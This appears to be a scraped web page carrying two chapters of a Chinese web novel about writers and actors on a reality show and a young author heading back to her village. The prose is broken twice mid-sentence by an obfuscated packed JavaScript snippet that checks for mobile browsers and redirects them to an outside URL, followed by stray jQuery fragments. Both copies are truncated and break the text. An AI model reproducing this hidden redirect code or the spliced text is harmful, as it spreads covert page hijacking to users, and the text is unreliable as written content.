;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15310532|167275||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
骂的难道是‘我的角色太不努力了,居然被被人压一头’?不还是骂编剧骂作者吗?】
【支持沈淮的和‘支持纸片人人权’的一桌。】
【呵呵,所以宋之河写的小说只适合小学生看,天天热血中二,配角刻画像是屎。】
......
双方都发表了自己的意见,打成一片。
导演组适时发布第二条问题:
【你是否接受主角三观不正?】
众人:!!!
这个更不可说了。
三、二、一......
宋之河、沈淮、杨亦初、尹舟:否
林绾、江禾、喻言:是
这一次的发言宋之河说的很简单:“反正我不会写三观不正的主角,我不喜欢给自己找麻烦。”
一向温温柔柔的林绾此刻却一反常态,出声反驳宋之河:
“如果所有的主角都是伟光正,那么这对于文学是一种悲哀。”
江禾补充:“我只是觉得对于一个演员,不应该去审判角色。是非对错自然有观众评说,我只需要演好他。”
喻言呵呵一笑,“不过现在似乎主角们都是好孩子。”
杨亦初:“配角可以三观不正,但主角会传递错误的价值观......”
林绾笑着摇了摇头,一双小鹿眼露出几分俏皮,半开玩笑似的逗杨亦初:“那配角又是谁塑造的?”
弹幕:
【我不能接受主角非c,丑、三观不正......祂三观不正凭什么当主角?我平时看小说时都是代入党,你要我代入杀人犯?呕......】
【恶人主角多带感啊,看个小说就学主角杀人?那看校园文也没见你们考上清华北大。】
【别吵了,我写小说的,三观不正的主角不能写。】
【唉,文学已死,创作已死!】
【谁家古风文人出来了?快带回去!】
【我真没想到这个话题居然能吵起来......】
......
第三个问题。
仅仅是两个问题,就已经将众人无形分化。人的思想是最奇妙的东西,因为它无时无刻不在变化,即使是朝夕相处多年的家人也可能因为一点小事变成另一个人。
不是祂真的变了,而是人们互相从未了解过对方。
【你是否接受为一本注定无人喜爱的作品付出心血?】
宋之河顿了顿。这句话......她似乎听谁说过。
【如果注定没人喜欢,那你就拼了命地去爱它。】
她当时是怎么回答来着?
......
“宋老师,您想好了吗?”
不知不觉,众人已经投票完成,全场只剩下她一人没有举牌。
全场人都投下了“是”。
她转过头,漫步到沈淮面前,突然觉得一阵恶心。“沈老师,可据我所知您唯一一次切书,正是因为数据不好。可那本书依旧有几十万的浏览量呢。”说完,她走到林绾面前,提了一个问题:“绾姐,当年您有许多没写完的文章,现在还在爱着它们吗?”她继续往前走,走到半路,林绾突然在她耳边道:
“放过自己吧。”
与此同时,宋之河亮出“否”。鲜红的牌子在一众绿色之中格外显眼。
她冲镜头露出一个明艳的笑:“我不会在废品上浪费时间,所以我的答案是否。”
弹幕:
【真敢说啊......我对宋之河黑转路了。】
【沈淮到底怎么她了,为什么要怼他?】
【你家正主不敢承认而已,虚伪的小男人......既要有要呗。】
【滤镜碎了。】
【脱粉!!】
【节目炒作而已,都是安排好的剧本,别当真。】
......
......
此刻全副武装的秦段从机场落地,又转到高铁上。她一晚上没睡觉,此时想要好好休息,旁边坐的青年耳机却突然没了电。她被迫陪着青年听她手机里的直播,半睡半醒只听见有一道男声问“你是否接受为一本注定无人喜爱的作品付出心血?”
秦段换了一个姿势缩在座位上,心想这种问题她十年前就回答过一遍。
想到待会还有一场恶战,秦段把帽子一盖,沉沉睡去。
从明天开始,她和秦琴要自由。
13. 小镇里的野雏花(3)
秦段回家的一路上都能听见不断有人谈论这档《算了,写都写了》,她甚至在下车时还听见有陌生的路人暗暗骂着她,说自己家正主怎么会选一个糊咖的剧本。
她对于自己生活在一个文娱过于发达的世界,终于有了真实的体感。如今她必须要佩戴口罩,不是怕被粉丝找上门,而是怕走路着就被路人拦下骂两句。
节目组的通告费要第一期录制完才会给她结算,现在秦段全身上下就只剩五千块钱。给秦琴交了学费后,她自己生活就很拮据了。因此虽然她只是大三的年纪,但兼职却一直没有断过。
她以前经常和室友调侃,说一些明星每天赚那么多钱,被骂一骂又有什么关系,如果换做她来能一边被骂一边鞠躬道歉。她们笑作一团,纷纷保证苟富贵莫相忘。
秦段刷身份证出站,又在公交站等着一天一趟的大巴车。公交站台有很多人:背着大包小包的卖菜老人、被大人牵着好奇着东张西望的孩子、扶着行李箱的大学生——对方手机上还在播放着她的那档综艺画面。
秦段拉了拉兜帽,将自己缩在阴影里,尽量试图不要引起他人注意。实际上心里已经开始盘算起来到时候回村用什么武器顺手些。
可那大学生似乎是被这档奇葩综艺气到不行,一边看一边和自己的朋友开麦吐槽,声音不大,但是对于当事人秦段来说就像是有人刻意给大学生佩戴了个降噪麦克风,声音清晰无比地传进她的耳中。
——“秦段写的什么狗屎垃圾啊,根本看不懂!居然还是手写,她是不是觉得自己很特别?我家尹舟改她剧本的手都快冒烟了,有没有人管一管!”
秦段一个激灵,下意识朝对方看过去。那大学生似乎在等耳机中朋友的吐槽,不过一会,她的表情变了变,神色也怪异起来:“......你和她是初中同学?你就没劝劝她别写了?”
说着说着,那大学生耳机似乎有些漏音,但也有可能是周围过于安静,秦段隐约能够听见耳机对面在说什么。
——“当时看她就很不爽,一整天阴恻恻地拿着自己的本子不知道在写什么,本来以为她早就嫁人了,没想到前两天突然在电视上能看见她,真是走了狗屎运。”
“你别看她上节目那么客客气气,其实当年我们整个年级都怕她这个疯子。”
“不可能吧!”大学生嗤笑两声,摇摇头。唯独这一点她是万万没有相信的。秦段在节目上的表现众人有目共睹,活脱脱就是个胆小怕事的人设,再加上出生不好,她哪来的底气呢?
秦段动了动手指,将兜帽放在肩后,她倚在公交站的柱子旁没有言语。眼神落在空荡荡的柏油马路上,心里盘算着下一班的巴士要什么时候才能来,她又要再听多久陌生人对她的贬低嘲讽。
看了一眼手机时间,现在是上午的十一点,临近中午,她还没来得及吃饭。情绪的低落加上腹中的绞痛,很想要去做一些过激的事情缓解积攒在内心的压力。
秦琴的婚期就定在明天,按照她爸妈那敲骨吸髓的尿性,能请的亲戚朋友,能来的今天可能都来了。他们正想借着这件事来好好大捞一笔。
巴士没有来,可旁边的人还在聊着天。
“人家给个抽象的题目,全场就只有她真的全文都在描写花,到时候怎么演?难道真让我家尹舟对着一朵花演独角戏?你看看宋大写的剧本多好,又有时间穿越又有校园爱情,就是被第一个抢了!”
......翻来覆去地骂她,她都耳朵听得起茧子了。
秦段晃荡一下,后背一个挺立从柱子旁走来,理了理自己有些乱的刘海,在那聊得兴起的女大学生身旁投下一小片阴影。对方见有人来,眼露迷茫,顿了顿才客气道:“您好?”
“别紧张。”秦段很顺手地扶住对方悄然在地上滑动的行李箱,眼镜框后的双眸平静无波。她的声音没有半点压迫性,像是朋友亲切的问候,“我也是秦段的黑粉,我觉得你说得没到点上。”
说着,秦段垂下眼帘,浓密的睫毛将她眼底的色彩遮了大半。对方似乎被她唬住了,露出一种迷茫又害怕的表情。她提了提口罩,从容不迫:“你要骂她,就不能只骂她的文章故事单薄,你要骂......”
“故作玄虚词不达意,文笔差还自恃清高,有大家形却无大家神,向社会传递负能量带坏青少年三观。”
“你要骂她就不能只骂她的文章,你还要说她本人见识短浅却特立独行,不负责任自私自利。”
饶是原本就讨厌秦段的女大学生都愣住了,她弱弱问:“你和她有仇?”
秦段将行李稳稳当当放在对方手上,见巴士已然到达公交站,冲对方挥了挥手留下一句:“替我向你电话里的朋友问好。”
说完,她也不看对方精彩如同变色龙一般的眼神,自顾自上了巴士。
车子发动起来,周遭的建筑逐渐变得低矮,树木与小山倒是越来越多。她的家乡是一个山清水秀的好地方,那里一年四季都有常青的树木,有喜鹊的叫声,有无数盛开的野花。
*
“导演,秦老师不在的话,这剧本难道要我自己改吗?”尹舟瘪了瘪嘴,束手无策地看着手上的文稿,他料到宋之河是不会同意和他合作的了,因此他此行的目的是沈淮。可谁又能想到沈淮也不想要他来演自己的剧本,林绾又是女主角,不接受反串。
他们一行人早在默契测试后就一起看了剧本。
所有人的都是电子稿,能在电脑上直接修改,只有他收到了一份打印稿,一看就很不专业。仔细一问才知道秦段这个糊咖居然是用手写的。
当时喻言倒是对秦段的剧本很感兴趣,拿起来看了半晌,至于最后为什么选择了宋之河的剧本——谁叫导演组非要把作者名印在文章最后一行?
喻言不愧是影后,表情管理了得。由震惊转化成可惜人家只用了两三秒,还很自然地将剧本递给江禾。说着让他尝试尝试,江禾接过秦段的稿件,也是看了半天,最后转头选了沈淮的剧本。
两人表情如出一辙地复杂。
尹舟在心里暗骂,他就不该参加这档节目!他越看秦段的文章越不满,他完全都没看懂秦段到底在写什么鸟语。
最后怎么就“曾经拥有两朵花,现在拥有第三朵”了?这逻辑上根本就说不通,而且人怎么会变成花?又不是什么民俗恐怖故事。
要不说糊咖有糊咖的道理呢。
尹舟压下心中不满,冲着镜头开朗笑着:“那我就越俎代庖,替秦老师改一改,希望如果秦老师在电视机前看见,不要介意。”
说完,镜头对准了秦段手稿复印件,尹舟拔开一只圆珠笔帽。他的角色自然是主角,至于配角自然有电影学院的学生出演,他不需要在乎对方的感受,对于他们来说有戏演就可以了。
首先要改的,肯定是这本书的人设,他虽然没看懂秦段在写什么,但男主的人设绝不是个讨喜的,首先就是要把他的人设改过来。
他把“可也不能全然怪我......”这一段话改成“我很自责,这都是我的责任。我知道这花是父母千辛万苦才得来的,他们虽然嘴上不说,但心里已经在滴血。”
然后把主角内心独白的那句“况且,还没过门”删掉,加一些宠爱老婆的独白。左思右想,尹舟灵机一动,在男主回乡时写上“功成名就”四个大字——不能在剧情上取胜,好歹服化道要好一些,回头还能被吹一波神颜。
既然主角已经有钱了,那自然要打脸众人,什么买花之类的统统删掉。
改成妻子想要种花,主角就承包一亩花田,最后妻子在花田里表白——其实她就是他儿时种的花化作的人类,和他相爱是为了报恩,两人成功在一起,生了个可爱的儿子。
最后那句话,是他最不喜欢的。他总感觉秦段透着文字在暗暗嘲弄着什么东西,可又说不上来那种奇怪的感觉是什么,只能归结于她写的不好。
他改成:【以前我弄丢了我的花,现在我的花又生了花,我再也不会放开她。】
“我只能把它救成这样了......”尹舟一顿奋笔疾书,完了后抬头无奈笑笑。
尹舟的字很好看,特意练习过,在秦段那略显潦草的字上交叠都不显得杂乱。弹幕上的网友在他改文时也没闲着,纷纷发表自己的意见:
【总感觉好怪,秦段原版怪,改了之后更奇怪了......我觉得不如不改。】
【舟舟改的很好啊!秦段本来就写的差,还要怎么改?】
【啊啊啊报恩小花,嘿嘿嘿不错不错。】
【不行了,我现在好希望秦段回来拦一下,本来写的挺有感觉,被这么一改像是一坨屎。】
【尹舟又有才又有颜,爱上此男简直是轻轻松松。】
【虽然是尹粉,但你们不觉得秦段其实写的很好吗?我读的时候起了一身鸡皮疙瘩,反而这一版很普通。】
【没觉得哈,矫揉造作的文风,读不懂。】
......
“宋老师写的很好,我认为没有任何需要修改的地方。”喻言又翻了一遍剧本,象征着修改权的圆珠笔自始至终都摆在原位没有动过。两人商业互吹片刻后,宋之河似乎有些心不在焉
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15324017|167275||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
当然没人敢改她一个字,就连影后也不行。
喻言虽然业内名声好,但戏路不宽,票房近年来也不太乐观,她一直希望自己转型成功,多来一些年轻粉丝。她知道对方上节目就是奔着她来的。
但有一点让她实在在意——喻言和江禾为什么都看秦段的剧本看了半晌?
她站起身,冲喻言笑笑:“待会我回来和您探讨人设,我实在是好奇,去隔壁串串门。”
喻言很干脆地答应。宋之河便直奔原本属于秦段的演播室——此刻尹舟已经把剧本改的差不多了,猛地听见有人敲门,半是疑惑地说了一句“请进”,在见到来人是宋之河后表情顿时热情起来。
“宋老师,怎么突然来串门?您那边已经排好了?”
宋之河搪塞过去,目光落在桌上摊开的几张文稿上。其实按照节目组的要求,在正式演出前其余人的剧本对作者是保密的,但如果两组都同意共享剧本——那别人也没办法说什么,你自愿的嘛。
“好奇你怎么改编,我方不方便看看?”说着,宋之河坐到沙发上,伸手拿过他修改过的稿件。
尹舟自然是无有不允,求之不得。他想在宋之河眼前多刷一些好感度。
圈内人都知道宋之河不仅是当之无愧的言情女王,背后更是有天河集团资本加持,作为集团老总的小女儿,宋之河出道至今都顺风顺水,写一本火一本就算了,她和许多作者之间的关系也很暧昧。
世上处处都有圈子,娱乐圈、学术圈、游戏圈......文学圈。以宋之河为核心,几乎市面上所有的一线二线作者都和她有私交,得罪了宋之河,相当于戏剧的资源锐减一半。
因此,尹舟几乎是将文稿双手交上,想到宋之河和秦段之前的龃龉,尹舟还故作无意暗暗吐槽一句:“秦老师写的太高深莫测,我可能文学素养不够,看不懂她的剧情。”
潜台词:故事剧情一团乱麻,不如收拾收拾回家睡觉。
宋之河挑了挑眉,细细阅读起来。她的阅读速度几乎是一目十行,可秦段和尹舟两种字体叠加在一块,宋之河的阅读速度也就降了下来。经历过先前的网络风暴后,她对秦段的态度倒是好了一些,也许是有些内疚自己把她卷入了不属于她的风波之中。
尹舟还在不断吹着耳旁风:“宋姐,当时看到您的作品,我简直是惊为天人。”
“恩。”宋之河翻了一页。
“虽然这么说不太好,但是文学却是需要天赋,秦老师......”
宋之河翻开第二页。
——“产婆对我说:“你女人生了一朵花。”
这句话一出,她几乎无法再听见身旁尹舟的话语,屏住呼吸向下看......
“因为我的老婆本来就是花的转世,所以生下一朵花也很正常。”
宋之河顿了顿。
“这句话你改过了。”
她几乎是肯定的。而且说出这句话时,宋之河一双凌厉的狐狸眼望向不明所以的尹舟,尹舟刮了刮鼻梁,讪讪笑着:“对啊,改的怎么样?”
宋之河很少体会过纯粹的绝望。
那是一种不掺杂任何理智的原始情感。就像是一匹斑马在草原上奔跑时突然一坨鸟屎拉在自己身上,还没来得及骂鸟,就发现自己脚下又踩到了大象的粪便一样。跳进湖里想要洗一洗,结果又被河马喷了一身——你根本没办法怪任何人,只有一股深深的无力萦绕在心头,让人不禁感慨“把屎糊在别人身上果然不是人能够干出来的事。”
宋之河的心情就是这样。
心疼男人会变得不幸,可宋之河却真真切切心疼起了尹舟,她真诚问他:“小时候语文老师对你很差吧?”
尹舟:“宋姐真会开玩笑哈哈哈。”
宋之河:“......”
她从尹舟那离开后借口上了个厕所,在厕所里她给好基友发消息,不吐不快!
宋之河:【你知道什么是世界上最绝望的死法吗?】
顾青燃秒回:【随手写的文热度爆表,认真写文无人问津。】
宋之河:【不。是你好不容易写的稿子被一个自作聪明的傻*改成了屎之后要打着你的名号喂全国观众吃。】
顾青燃:【?】
宋之河:【就事论事,不代表我不讨厌她了。】
......
秦段回村的第一秒,在村头捡了一把铲子。此时此刻的她,对于节目上的破事一无所知,她还在掂手上铁铲的分量足不足够。
她拖着铁铲,一步一步朝村里迈。